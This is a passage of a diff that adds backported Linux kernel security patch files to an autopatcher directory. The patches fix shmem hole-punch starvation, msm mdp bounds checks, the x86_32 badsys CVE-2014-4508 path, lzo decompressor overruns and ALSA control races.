madvise(,,MADV_REMOVE) came in - or might +not, since much has changed, with i_mmap_mutex a spinlock before 3.0. +Anyone running trinity on 3.0 and earlier? I don't think we need care. + +Signed-off-by: Hugh Dickins +Reported-by: Sasha Levin +Tested-by: Sasha Levin +Cc: Vlastimil Babka +Cc: Konstantin Khlebnikov +Cc: Johannes Weiner +Cc: Lukas Czerner +Cc: Dave Jones +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + mm/shmem.c | 78 +++++++++++++++++++++++++++++++++++++++++--------------------- + 1 file changed, 52 insertions(+), 26 deletions(-) + +diff --git a/mm/shmem.c b/mm/shmem.c +index 61cf45c343e64..3d26fedbd20e1 100644 +--- a/mm/shmem.c ++++ b/mm/shmem.c +@@ -85,7 +85,7 @@ static struct vfsmount *shm_mnt; + * a time): we would prefer not to enlarge the shmem inode just for that. + */ + struct shmem_falloc { +- int mode; /* FALLOC_FL mode currently operating */ ++ wait_queue_head_t *waitq; /* faults into hole wait for punch to end */ + pgoff_t start; /* start of range currently being fallocated */ + pgoff_t next; /* the next page offset to be fallocated */ + pgoff_t nr_falloced; /* how many new pages have been fallocated */ +@@ -827,7 +827,7 @@ static int shmem_writepage(struct page *page, struct writeback_control *wbc) + spin_lock(&inode->i_lock); + shmem_falloc = inode->i_private; + if (shmem_falloc && +- !shmem_falloc->mode && ++ !shmem_falloc->waitq && + index >= shmem_falloc->start && + index < shmem_falloc->next) + shmem_falloc->nr_unswapped++; +@@ -1306,38 +1306,58 @@ static int shmem_fault(struct vm_area_struct *vma, struct vm_fault *vmf) + * Trinity finds that probing a hole which tmpfs is punching can + * prevent the hole-punch from ever completing: which in turn + * locks writers out with its hold on i_mutex. So refrain from +- * faulting pages into the hole while it's being punched, and +- * wait on i_mutex to be released if vmf->flags permits. ++ * faulting pages into the hole while it's being punched. Although ++ * shmem_undo_range() does remove the additions, it may be unable to ++ * keep up, as each new page needs its own unmap_mapping_range() call, ++ * and the i_mmap tree grows ever slower to scan if new vmas are added. ++ * ++ * It does not matter if we sometimes reach this check just before the ++ * hole-punch begins, so that one fault then races with the punch: ++ * we just need to make racing faults a rare case. ++ * ++ * The implementation below would be much simpler if we just used a ++ * standard mutex or completion: but we cannot take i_mutex in fault, ++ * and bloating every shmem inode for this unlikely case would be sad. + */ + if (unlikely(inode->i_private)) { + struct shmem_falloc *shmem_falloc; + + spin_lock(&inode->i_lock); + shmem_falloc = inode->i_private; +- if (!shmem_falloc || +- shmem_falloc->mode != FALLOC_FL_PUNCH_HOLE || +- vmf->pgoff < shmem_falloc->start || +- vmf->pgoff >= shmem_falloc->next) +- shmem_falloc = NULL; +- spin_unlock(&inode->i_lock); +- /* +- * i_lock has protected us from taking shmem_falloc seriously +- * once return from shmem_fallocate() went back up that stack. +- * i_lock does not serialize with i_mutex at all, but it does +- * not matter if sometimes we wait unnecessarily, or sometimes +- * miss out on waiting: we just need to make those cases rare. +- */ +- if (shmem_falloc) { ++ if (shmem_falloc && ++ shmem_falloc->waitq && ++ vmf->pgoff >= shmem_falloc->start && ++ vmf->pgoff < shmem_falloc->next) { ++ wait_queue_head_t *shmem_falloc_waitq; ++ DEFINE_WAIT(shmem_fault_wait); ++ ++ ret = VM_FAULT_NOPAGE; + if ((vmf->flags & FAULT_FLAG_ALLOW_RETRY) && + !(vmf->flags & FAULT_FLAG_RETRY_NOWAIT)) { ++ /* It's polite to up mmap_sem if we can */ + up_read(&vma->vm_mm->mmap_sem); +- mutex_lock(&inode->i_mutex); +- mutex_unlock(&inode->i_mutex); +- return VM_FAULT_RETRY; ++ ret = VM_FAULT_RETRY; + } +- /* cond_resched? Leave that to GUP or return to user */ +- return VM_FAULT_NOPAGE; ++ ++ shmem_falloc_waitq = shmem_falloc->waitq; ++ prepare_to_wait(shmem_falloc_waitq, &shmem_fault_wait, ++ TASK_UNINTERRUPTIBLE); ++ spin_unlock(&inode->i_lock); ++ schedule(); ++ ++ /* ++ * shmem_falloc_waitq points into the shmem_fallocate() ++ * stack of the hole-punching task: shmem_falloc_waitq ++ * is usually invalid by the time we reach here, but ++ * finish_wait() does not dereference it in that case; ++ * though i_lock needed lest racing with wake_up_all(). ++ */ ++ spin_lock(&inode->i_lock); ++ finish_wait(shmem_falloc_waitq, &shmem_fault_wait); ++ spin_unlock(&inode->i_lock); ++ return ret; + } ++ spin_unlock(&inode->i_lock); + } + + error = shmem_getpage(inode, vmf->pgoff, &vmf->page, SGP_CACHE, &ret); +@@ -1857,13 +1877,13 @@ static long shmem_fallocate(struct file *file, int mode, loff_t offset, + + mutex_lock(&inode->i_mutex); + +- shmem_falloc.mode = mode & ~FALLOC_FL_KEEP_SIZE; +- + if (mode & FALLOC_FL_PUNCH_HOLE) { + struct address_space *mapping = file->f_mapping; + loff_t unmap_start = round_up(offset, PAGE_SIZE); + loff_t unmap_end = round_down(offset + len, PAGE_SIZE) - 1; ++ DECLARE_WAIT_QUEUE_HEAD_ONSTACK(shmem_falloc_waitq); + ++ shmem_falloc.waitq = &shmem_falloc_waitq; + shmem_falloc.start = unmap_start >> PAGE_SHIFT; + shmem_falloc.next = (unmap_end + 1) >> PAGE_SHIFT; + spin_lock(&inode->i_lock); +@@ -1875,8 +1895,13 @@ static long shmem_fallocate(struct file *file, int mode, loff_t offset, + 1 + unmap_end - unmap_start, 0); + shmem_truncate_range(inode, offset, offset + len - 1); + /* No need to unmap again: hole-punching leaves COWed pages */ ++ ++ spin_lock(&inode->i_lock); ++ inode->i_private = NULL; ++ wake_up_all(&shmem_falloc_waitq); ++ spin_unlock(&inode->i_lock); + error = 0; +- goto undone; ++ goto out; + } + + /* We need to check rlimit even when FALLOC_FL_KEEP_SIZE */ +@@ -1892,6 +1917,7 @@ static long shmem_fallocate(struct file *file, int mode, loff_t offset, + goto out; + } + ++ shmem_falloc.waitq = NULL; + shmem_falloc.start = start; + shmem_falloc.next = start; + shmem_falloc.nr_falloced = 0; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0071-7dc7fb432bc9-shmem fix splicing from a hole while its punched.patch b/recipes-kernel/linux/linux-bass/autopatcher/0071-7dc7fb432bc9-shmem fix splicing from a hole while its punched.patch new file mode 100644 index 0000000..7cf13c6 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0071-7dc7fb432bc9-shmem fix splicing from a hole while its punched.patch @@ -0,0 +1,130 @@ +From 7dc7fb432bc92a988afb49e948218de575b7eb3f Mon Sep 17 00:00:00 2001 +From: Hugh Dickins +Date: Wed, 23 Jul 2014 14:00:13 -0700 +Subject: shmem: fix splicing from a hole while it's punched + +commit b1a366500bd537b50c3aad26dc7df083ec03a448 upstream. + +shmem_fault() is the actual culprit in trinity's hole-punch starvation, +and the most significant cause of such problems: since a page faulted is +one that then appears page_mapped(), needing unmap_mapping_range() and +i_mmap_mutex to be unmapped again. + +But it is not the only way in which a page can be brought into a hole in +the radix_tree while that hole is being punched; and Vlastimil's testing +implies that if enough other processors are busy filling in the hole, +then shmem_undo_range() can be kept from completing indefinitely. + +shmem_file_splice_read() is the main other user of SGP_CACHE, which can +instantiate shmem pagecache pages in the read-only case (without holding +i_mutex, so perhaps concurrently with a hole-punch). Probably it's +silly not to use SGP_READ already (using the ZERO_PAGE for holes): which +ought to be safe, but might bring surprises - not a change to be rushed. + +shmem_read_mapping_page_gfp() is an internal interface used by +drivers/gpu/drm GEM (and next by uprobes): it should be okay. And +shmem_file_read_iter() uses the SGP_DIRTY variant of SGP_CACHE, when +called internally by the kernel (perhaps for a stacking filesystem, +which might rely on holes to be reserved): it's unclear whether it could +be provoked to keep hole-punch busy or not. + +We could apply the same umbrella as now used in shmem_fault() to +shmem_file_splice_read() and the others; but it looks ugly, and use over +a range raises questions - should it actually be per page? can these get +starved themselves? + +The origin of this part of the problem is my v3.1 commit d0823576bf4b +("mm: pincer in truncate_inode_pages_range"), once it was duplicated +into shmem.c. It seemed like a nice idea at the time, to ensure +(barring RCU lookup fuzziness) that there's an instant when the entire +hole is empty; but the indefinitely repeated scans to ensure that make +it vulnerable. + +Revert that "enhancement" to hole-punch from shmem_undo_range(), but +retain the unproblematic rescanning when it's truncating; add a couple +of comments there. + +Remove the "indices[0] >= end" test: that is now handled satisfactorily +by the inner loop, and mem_cgroup_uncharge_start()/end() are too light +to be worth avoiding here. + +But if we do not always loop indefinitely, we do need to handle the case +of swap swizzled back to page before shmem_free_swap() gets it: add a +retry for that case, as suggested by Konstantin Khlebnikov; and for the +case of page swizzled back to swap, as suggested by Johannes Weiner. + +Signed-off-by: Hugh Dickins +Reported-by: Sasha Levin +Suggested-by: Vlastimil Babka +Cc: Konstantin Khlebnikov +Cc: Johannes Weiner +Cc: Lukas Czerner +Cc: Dave Jones +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + mm/shmem.c | 24 +++++++++++++++--------- + 1 file changed, 15 insertions(+), 9 deletions(-) + +diff --git a/mm/shmem.c b/mm/shmem.c +index 3d26fedbd20e1..16cc1d77f70a0 100644 +--- a/mm/shmem.c ++++ b/mm/shmem.c +@@ -534,22 +534,19 @@ static void shmem_undo_range(struct inode *inode, loff_t lstart, loff_t lend, + return; + + index = start; +- for ( ; ; ) { ++ while (index < end) { + cond_resched(); + pvec.nr = shmem_find_get_pages_and_swap(mapping, index, + min(end - index, (pgoff_t)PAGEVEC_SIZE), + pvec.pages, indices); + if (!pvec.nr) { +- if (index == start || unfalloc) ++ /* If all gone or hole-punch or unfalloc, we're done */ ++ if (index == start || end != -1) + break; ++ /* But if truncating, restart to make sure all gone */ + index = start; + continue; + } +- if ((index == start || unfalloc) && indices[0] >= end) { +- shmem_deswap_pagevec(&pvec); +- pagevec_release(&pvec); +- break; +- } + mem_cgroup_uncharge_start(); + for (i = 0; i < pagevec_count(&pvec); i++) { + struct page *page = pvec.pages[i]; +@@ -561,8 +558,12 @@ static void shmem_undo_range(struct inode *inode, loff_t lstart, loff_t lend, + if (radix_tree_exceptional_entry(page)) { + if (unfalloc) + continue; +- nr_swaps_freed += !shmem_free_swap(mapping, +- index, page); ++ if (shmem_free_swap(mapping, index, page)) { ++ /* Swap was replaced by page: retry */ ++ index--; ++ break; ++ } ++ nr_swaps_freed++; + continue; + } + +@@ -571,6 +572,11 @@ static void shmem_undo_range(struct inode *inode, loff_t lstart, loff_t lend, + if (page->mapping == mapping) { + VM_BUG_ON(PageWriteback(page)); + truncate_inode_page(mapping, page); ++ } else { ++ /* Page was replaced by swap: retry */ ++ unlock_page(page); ++ index--; ++ break; + } + } + unlock_page(page); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0072-014fa8def84c-msm mdp Validate input arguments from user space.patch b/recipes-kernel/linux/linux-bass/autopatcher/0072-014fa8def84c-msm mdp Validate input arguments from user space.patch new file mode 100644 index 0000000..c68dbaf --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0072-014fa8def84c-msm mdp Validate input arguments from user space.patch @@ -0,0 +1,33 @@ +From 014fa8def84c62893fa016e873c12de1da498603 Mon Sep 17 00:00:00 2001 +From: raghavendra ambadas +Date: Mon, 6 Oct 2014 14:59:57 +0530 +Subject: msm: mdp: Validate input arguments from user space + +Fully verify the input arguments from user client are safe +to use. + +Change-Id: Ie14332443b187951009c63ebfb78456dcd9ba60f +Signed-off-by: Raghavendra Ambadas +--- + drivers/video/msm/mdp.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/drivers/video/msm/mdp.c b/drivers/video/msm/mdp.c +index 4ede0b52..c00bd78 100644 +--- a/drivers/video/msm/mdp.c ++++ b/drivers/video/msm/mdp.c +@@ -485,6 +485,11 @@ static int mdp_lut_hw_update(struct fb_cmap *cmap) + c[1] = cmap->blue; + c[2] = cmap->red; + ++ if (cmap->start > MDP_HIST_LUT_SIZE || cmap->len > MDP_HIST_LUT_SIZE || ++ (cmap->start + cmap->len > MDP_HIST_LUT_SIZE)) { ++ pr_err("mdp_lut_hw_update invalid arguments\n"); ++ return -EINVAL; ++ } + for (i = 0; i < cmap->len; i++) { + if (copy_from_user(&r, cmap->red++, sizeof(r)) || + copy_from_user(&g, cmap->green++, sizeof(g)) || +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0073-286c9b2c933a-x8632 entry Do syscall exit work on badsys CVE20144508.patch b/recipes-kernel/linux/linux-bass/autopatcher/0073-286c9b2c933a-x8632 entry Do syscall exit work on badsys CVE20144508.patch new file mode 100644 index 0000000..17695d2 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0073-286c9b2c933a-x8632 entry Do syscall exit work on badsys CVE20144508.patch @@ -0,0 +1,63 @@ +From 286c9b2c933a787cb43761e86d295f867d2790c0 Mon Sep 17 00:00:00 2001 +From: Andy Lutomirski +Date: Mon, 23 Jun 2014 14:22:15 -0700 +Subject: x86_32, entry: Do syscall exit work on badsys (CVE-2014-4508) +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit 554086d85e71f30abe46fc014fea31929a7c6a8a upstream. + +The bad syscall nr paths are their own incomprehensible route +through the entry control flow. Rearrange them to work just like +syscalls that return -ENOSYS. + +This fixes an OOPS in the audit code when fast-path auditing is +enabled and sysenter gets a bad syscall nr (CVE-2014-4508). + +This has probably been broken since Linux 2.6.27: +af0575bba0 i386 syscall audit fast-path + +Cc: Roland McGrath +Reported-by: Toralf Förster +Signed-off-by: Andy Lutomirski +Link: http://lkml.kernel.org/r/e09c499eade6fc321266dd6b54da7beb28d6991c.1403558229.git.luto@amacapital.net +Signed-off-by: H. Peter Anvin +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/kernel/entry_32.S | 10 ++++++++-- + 1 file changed, 8 insertions(+), 2 deletions(-) + +diff --git a/arch/x86/kernel/entry_32.S b/arch/x86/kernel/entry_32.S +index 7885ea31a9aa4..ac63281760974 100644 +--- a/arch/x86/kernel/entry_32.S ++++ b/arch/x86/kernel/entry_32.S +@@ -434,9 +434,10 @@ sysenter_past_esp: + jnz sysenter_audit + sysenter_do_call: + cmpl $(NR_syscalls), %eax +- jae syscall_badsys ++ jae sysenter_badsys + call *sys_call_table(,%eax,4) + movl %eax,PT_EAX(%esp) ++sysenter_after_call: + LOCKDEP_SYS_EXIT + DISABLE_INTERRUPTS(CLBR_ANY) + TRACE_IRQS_OFF +@@ -686,7 +687,12 @@ END(syscall_fault) + + syscall_badsys: + movl $-ENOSYS,PT_EAX(%esp) +- jmp resume_userspace ++ jmp syscall_exit ++END(syscall_badsys) ++ ++sysenter_badsys: ++ movl $-ENOSYS,PT_EAX(%esp) ++ jmp sysenter_after_call + END(syscall_badsys) + CFI_ENDPROC + /* +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0074-feaad0172347-lzo properly check for overruns.patch b/recipes-kernel/linux/linux-bass/autopatcher/0074-feaad0172347-lzo properly check for overruns.patch new file mode 100644 index 0000000..4c054f3 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0074-feaad0172347-lzo properly check for overruns.patch @@ -0,0 +1,180 @@ +From feaad01723471c67e10f5c5bc537299e686f78b8 Mon Sep 17 00:00:00 2001 +From: Greg Kroah-Hartman +Date: Fri, 20 Jun 2014 22:00:53 -0700 +Subject: lzo: properly check for overruns + +commit 206a81c18401c0cde6e579164f752c4b147324ce upstream. + +The lzo decompressor can, if given some really crazy data, possibly +overrun some variable types. Modify the checking logic to properly +detect overruns before they happen. + +Reported-by: "Don A. Bailey" +Tested-by: "Don A. Bailey" +Signed-off-by: Greg Kroah-Hartman +--- + lib/lzo/lzo1x_decompress_safe.c | 62 +++++++++++++++++++++++++++-------------- + 1 file changed, 41 insertions(+), 21 deletions(-) + +diff --git a/lib/lzo/lzo1x_decompress_safe.c b/lib/lzo/lzo1x_decompress_safe.c +index 569985d522d51..8563081e8da38 100644 +--- a/lib/lzo/lzo1x_decompress_safe.c ++++ b/lib/lzo/lzo1x_decompress_safe.c +@@ -19,11 +19,31 @@ + #include + #include "lzodefs.h" + +-#define HAVE_IP(x) ((size_t)(ip_end - ip) >= (size_t)(x)) +-#define HAVE_OP(x) ((size_t)(op_end - op) >= (size_t)(x)) +-#define NEED_IP(x) if (!HAVE_IP(x)) goto input_overrun +-#define NEED_OP(x) if (!HAVE_OP(x)) goto output_overrun +-#define TEST_LB(m_pos) if ((m_pos) < out) goto lookbehind_overrun ++#define HAVE_IP(t, x) \ ++ (((size_t)(ip_end - ip) >= (size_t)(t + x)) && \ ++ (((t + x) >= t) && ((t + x) >= x))) ++ ++#define HAVE_OP(t, x) \ ++ (((size_t)(op_end - op) >= (size_t)(t + x)) && \ ++ (((t + x) >= t) && ((t + x) >= x))) ++ ++#define NEED_IP(t, x) \ ++ do { \ ++ if (!HAVE_IP(t, x)) \ ++ goto input_overrun; \ ++ } while (0) ++ ++#define NEED_OP(t, x) \ ++ do { \ ++ if (!HAVE_OP(t, x)) \ ++ goto output_overrun; \ ++ } while (0) ++ ++#define TEST_LB(m_pos) \ ++ do { \ ++ if ((m_pos) < out) \ ++ goto lookbehind_overrun; \ ++ } while (0) + + int lzo1x_decompress_safe(const unsigned char *in, size_t in_len, + unsigned char *out, size_t *out_len) +@@ -58,14 +78,14 @@ int lzo1x_decompress_safe(const unsigned char *in, size_t in_len, + while (unlikely(*ip == 0)) { + t += 255; + ip++; +- NEED_IP(1); ++ NEED_IP(1, 0); + } + t += 15 + *ip++; + } + t += 3; + copy_literal_run: + #if defined(CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS) +- if (likely(HAVE_IP(t + 15) && HAVE_OP(t + 15))) { ++ if (likely(HAVE_IP(t, 15) && HAVE_OP(t, 15))) { + const unsigned char *ie = ip + t; + unsigned char *oe = op + t; + do { +@@ -81,8 +101,8 @@ copy_literal_run: + } else + #endif + { +- NEED_OP(t); +- NEED_IP(t + 3); ++ NEED_OP(t, 0); ++ NEED_IP(t, 3); + do { + *op++ = *ip++; + } while (--t > 0); +@@ -95,7 +115,7 @@ copy_literal_run: + m_pos -= t >> 2; + m_pos -= *ip++ << 2; + TEST_LB(m_pos); +- NEED_OP(2); ++ NEED_OP(2, 0); + op[0] = m_pos[0]; + op[1] = m_pos[1]; + op += 2; +@@ -119,10 +139,10 @@ copy_literal_run: + while (unlikely(*ip == 0)) { + t += 255; + ip++; +- NEED_IP(1); ++ NEED_IP(1, 0); + } + t += 31 + *ip++; +- NEED_IP(2); ++ NEED_IP(2, 0); + } + m_pos = op - 1; + next = get_unaligned_le16(ip); +@@ -137,10 +157,10 @@ copy_literal_run: + while (unlikely(*ip == 0)) { + t += 255; + ip++; +- NEED_IP(1); ++ NEED_IP(1, 0); + } + t += 7 + *ip++; +- NEED_IP(2); ++ NEED_IP(2, 0); + } + next = get_unaligned_le16(ip); + ip += 2; +@@ -154,7 +174,7 @@ copy_literal_run: + #if defined(CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS) + if (op - m_pos >= 8) { + unsigned char *oe = op + t; +- if (likely(HAVE_OP(t + 15))) { ++ if (likely(HAVE_OP(t, 15))) { + do { + COPY8(op, m_pos); + op += 8; +@@ -164,7 +184,7 @@ copy_literal_run: + m_pos += 8; + } while (op < oe); + op = oe; +- if (HAVE_IP(6)) { ++ if (HAVE_IP(6, 0)) { + state = next; + COPY4(op, ip); + op += next; +@@ -172,7 +192,7 @@ copy_literal_run: + continue; + } + } else { +- NEED_OP(t); ++ NEED_OP(t, 0); + do { + *op++ = *m_pos++; + } while (op < oe); +@@ -181,7 +201,7 @@ copy_literal_run: + #endif + { + unsigned char *oe = op + t; +- NEED_OP(t); ++ NEED_OP(t, 0); + op[0] = m_pos[0]; + op[1] = m_pos[1]; + op += 2; +@@ -194,15 +214,15 @@ match_next: + state = next; + t = next; + #if defined(CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS) +- if (likely(HAVE_IP(6) && HAVE_OP(4))) { ++ if (likely(HAVE_IP(6, 0) && HAVE_OP(4, 0))) { + COPY4(op, ip); + op += t; + ip += t; + } else + #endif + { +- NEED_IP(t + 3); +- NEED_OP(t); ++ NEED_IP(t, 3); ++ NEED_OP(t, 0); + while (t > 0) { + *op++ = *ip++; + t--; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0075-be3bae536eaf-ALSA control Protect user controls against concurrent access.patch b/recipes-kernel/linux/linux-bass/autopatcher/0075-be3bae536eaf-ALSA control Protect user controls against concurrent access.patch new file mode 100644 index 0000000..0616693 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0075-be3bae536eaf-ALSA control Protect user controls against concurrent access.patch @@ -0,0 +1,135 @@ +From be3bae536eaf0a98926006a8ec00417a48b6a587 Mon Sep 17 00:00:00 2001 +From: Lars-Peter Clausen +Date: Wed, 18 Jun 2014 13:32:31 +0200 +Subject: ALSA: control: Protect user controls against concurrent access + +commit 07f4d9d74a04aa7c72c5dae0ef97565f28f17b92 upstream. + +The user-control put and get handlers as well as the tlv do not protect against +concurrent access from multiple threads. Since the state of the control is not +updated atomically it is possible that either two write operations or a write +and a read operation race against each other. Both can lead to arbitrary memory +disclosure. This patch introduces a new lock that protects user-controls from +concurrent access. Since applications typically access controls sequentially +than in parallel a single lock per card should be fine. + +Signed-off-by: Lars-Peter Clausen +Acked-by: Jaroslav Kysela +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +--- + include/sound/core.h | 2 ++ + sound/core/control.c | 31 +++++++++++++++++++++++++------ + sound/core/init.c | 1 + + 3 files changed, 28 insertions(+), 6 deletions(-) + +diff --git a/include/sound/core.h b/include/sound/core.h +index 5bfe5136441c7..97cd9c3592f7d 100644 +--- a/include/sound/core.h ++++ b/include/sound/core.h +@@ -120,6 +120,8 @@ struct snd_card { + int user_ctl_count; /* count of all user controls */ + struct list_head controls; /* all controls for this card */ + struct list_head ctl_files; /* active control files */ ++ struct mutex user_ctl_lock; /* protects user controls against ++ concurrent access */ + + struct snd_info_entry *proc_root; /* root for soundcard specific files */ + struct snd_info_entry *proc_id; /* the card id */ +diff --git a/sound/core/control.c b/sound/core/control.c +index d8aa206e8bdec..183fab277b696 100644 +--- a/sound/core/control.c ++++ b/sound/core/control.c +@@ -992,6 +992,7 @@ static int snd_ctl_elem_unlock(struct snd_ctl_file *file, + + struct user_element { + struct snd_ctl_elem_info info; ++ struct snd_card *card; + void *elem_data; /* element data */ + unsigned long elem_data_size; /* size of element data in bytes */ + void *tlv_data; /* TLV data */ +@@ -1035,7 +1036,9 @@ static int snd_ctl_elem_user_get(struct snd_kcontrol *kcontrol, + { + struct user_element *ue = kcontrol->private_data; + ++ mutex_lock(&ue->card->user_ctl_lock); + memcpy(&ucontrol->value, ue->elem_data, ue->elem_data_size); ++ mutex_unlock(&ue->card->user_ctl_lock); + return 0; + } + +@@ -1044,10 +1047,12 @@ static int snd_ctl_elem_user_put(struct snd_kcontrol *kcontrol, + { + int change; + struct user_element *ue = kcontrol->private_data; +- ++ ++ mutex_lock(&ue->card->user_ctl_lock); + change = memcmp(&ucontrol->value, ue->elem_data, ue->elem_data_size) != 0; + if (change) + memcpy(ue->elem_data, &ucontrol->value, ue->elem_data_size); ++ mutex_unlock(&ue->card->user_ctl_lock); + return change; + } + +@@ -1067,19 +1072,32 @@ static int snd_ctl_elem_user_tlv(struct snd_kcontrol *kcontrol, + new_data = memdup_user(tlv, size); + if (IS_ERR(new_data)) + return PTR_ERR(new_data); ++ mutex_lock(&ue->card->user_ctl_lock); + change = ue->tlv_data_size != size; + if (!change) + change = memcmp(ue->tlv_data, new_data, size); + kfree(ue->tlv_data); + ue->tlv_data = new_data; + ue->tlv_data_size = size; ++ mutex_unlock(&ue->card->user_ctl_lock); + } else { +- if (! ue->tlv_data_size || ! ue->tlv_data) +- return -ENXIO; +- if (size < ue->tlv_data_size) +- return -ENOSPC; ++ int ret = 0; ++ ++ mutex_lock(&ue->card->user_ctl_lock); ++ if (!ue->tlv_data_size || !ue->tlv_data) { ++ ret = -ENXIO; ++ goto err_unlock; ++ } ++ if (size < ue->tlv_data_size) { ++ ret = -ENOSPC; ++ goto err_unlock; ++ } + if (copy_to_user(tlv, ue->tlv_data, ue->tlv_data_size)) +- return -EFAULT; ++ ret = -EFAULT; ++err_unlock: ++ mutex_unlock(&ue->card->user_ctl_lock); ++ if (ret) ++ return ret; + } + return change; + } +@@ -1211,6 +1229,7 @@ static int snd_ctl_elem_add(struct snd_ctl_file *file, + ue = kzalloc(sizeof(struct user_element) + private_size, GFP_KERNEL); + if (ue == NULL) + return -ENOMEM; ++ ue->card = card; + ue->info = *info; + ue->info.access = 0; + ue->elem_data = (char *)ue + sizeof(*ue); +diff --git a/sound/core/init.c b/sound/core/init.c +index 6ef06400dfc83..27791a58e4485 100644 +--- a/sound/core/init.c ++++ b/sound/core/init.c +@@ -208,6 +208,7 @@ int snd_card_create(int idx, const char *xid, + INIT_LIST_HEAD(&card->devices); + init_rwsem(&card->controls_rwsem); + rwlock_init(&card->ctl_files_rwlock); ++ mutex_init(&card->user_ctl_lock); + INIT_LIST_HEAD(&card->controls); + INIT_LIST_HEAD(&card->ctl_files); + spin_lock_init(&card->files_lock); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0076-9abd94862196-ALSA control Dont access controls outside of protected regions.patch b/recipes-kernel/linux/linux-bass/autopatcher/0076-9abd94862196-ALSA control Dont access controls outside of protected regions.patch new file mode 100644 index 0000000..d07a623 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0076-9abd94862196-ALSA control Dont access controls outside of protected regions.patch @@ -0,0 +1,87 @@ +From 9abd94862196476a80dbfc07d3f8a01418fa36d8 Mon Sep 17 00:00:00 2001 +From: Lars-Peter Clausen +Date: Wed, 18 Jun 2014 13:32:33 +0200 +Subject: ALSA: control: Don't access controls outside of protected regions + +commit fd9f26e4eca5d08a27d12c0933fceef76ed9663d upstream. + +A control that is visible on the card->controls list can be freed at any time. +This means we must not access any of its memory while not holding the +controls_rw_lock. Otherwise we risk a use after free access. + +Signed-off-by: Lars-Peter Clausen +Acked-by: Jaroslav Kysela +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +--- + sound/core/control.c | 15 ++++++++++----- + 1 file changed, 10 insertions(+), 5 deletions(-) + +diff --git a/sound/core/control.c b/sound/core/control.c +index 15bc844927469..d4a597fe86e46 100644 +--- a/sound/core/control.c ++++ b/sound/core/control.c +@@ -331,6 +331,7 @@ int snd_ctl_add(struct snd_card *card, struct snd_kcontrol *kcontrol) + { + struct snd_ctl_elem_id id; + unsigned int idx; ++ unsigned int count; + int err = -EINVAL; + + if (! kcontrol) +@@ -359,8 +360,9 @@ int snd_ctl_add(struct snd_card *card, struct snd_kcontrol *kcontrol) + card->controls_count += kcontrol->count; + kcontrol->id.numid = card->last_numid + 1; + card->last_numid += kcontrol->count; ++ count = kcontrol->count; + up_write(&card->controls_rwsem); +- for (idx = 0; idx < kcontrol->count; idx++, id.index++, id.numid++) ++ for (idx = 0; idx < count; idx++, id.index++, id.numid++) + snd_ctl_notify(card, SNDRV_CTL_EVENT_MASK_ADD, &id); + return 0; + +@@ -389,6 +391,7 @@ int snd_ctl_replace(struct snd_card *card, struct snd_kcontrol *kcontrol, + bool add_on_replace) + { + struct snd_ctl_elem_id id; ++ unsigned int count; + unsigned int idx; + struct snd_kcontrol *old; + int ret; +@@ -424,8 +427,9 @@ add: + card->controls_count += kcontrol->count; + kcontrol->id.numid = card->last_numid + 1; + card->last_numid += kcontrol->count; ++ count = kcontrol->count; + up_write(&card->controls_rwsem); +- for (idx = 0; idx < kcontrol->count; idx++, id.index++, id.numid++) ++ for (idx = 0; idx < count; idx++, id.index++, id.numid++) + snd_ctl_notify(card, SNDRV_CTL_EVENT_MASK_ADD, &id); + return 0; + +@@ -898,9 +902,9 @@ static int snd_ctl_elem_write(struct snd_card *card, struct snd_ctl_file *file, + result = kctl->put(kctl, control); + } + if (result > 0) { ++ struct snd_ctl_elem_id id = control->id; + up_read(&card->controls_rwsem); +- snd_ctl_notify(card, SNDRV_CTL_EVENT_MASK_VALUE, +- &control->id); ++ snd_ctl_notify(card, SNDRV_CTL_EVENT_MASK_VALUE, &id); + return 0; + } + } +@@ -1334,8 +1338,9 @@ static int snd_ctl_tlv_ioctl(struct snd_ctl_file *file, + } + err = kctl->tlv.c(kctl, op_flag, tlv.length, _tlv->tlv); + if (err > 0) { ++ struct snd_ctl_elem_id id = kctl->id; + up_read(&card->controls_rwsem); +- snd_ctl_notify(card, SNDRV_CTL_EVENT_MASK_TLV, &kctl->id); ++ snd_ctl_notify(card, SNDRV_CTL_EVENT_MASK_TLV, &id); + return 0; + } + } else { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0077-adbb1449ccc8-ALSA control Fix replacing user controls.patch b/recipes-kernel/linux/linux-bass/autopatcher/0077-adbb1449ccc8-ALSA control Fix replacing user controls.patch new file mode 100644 index 0000000..81033f7 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0077-adbb1449ccc8-ALSA control Fix replacing user controls.patch @@ -0,0 +1,90 @@ +From adbb1449ccc8c637b31d11dc0b8c3ad47228b199 Mon Sep 17 00:00:00 2001 +From: Lars-Peter Clausen +Date: Wed, 18 Jun 2014 13:32:32 +0200 +Subject: ALSA: control: Fix replacing user controls + +commit 82262a46627bebb0febcc26664746c25cef08563 upstream. + +There are two issues with the current implementation 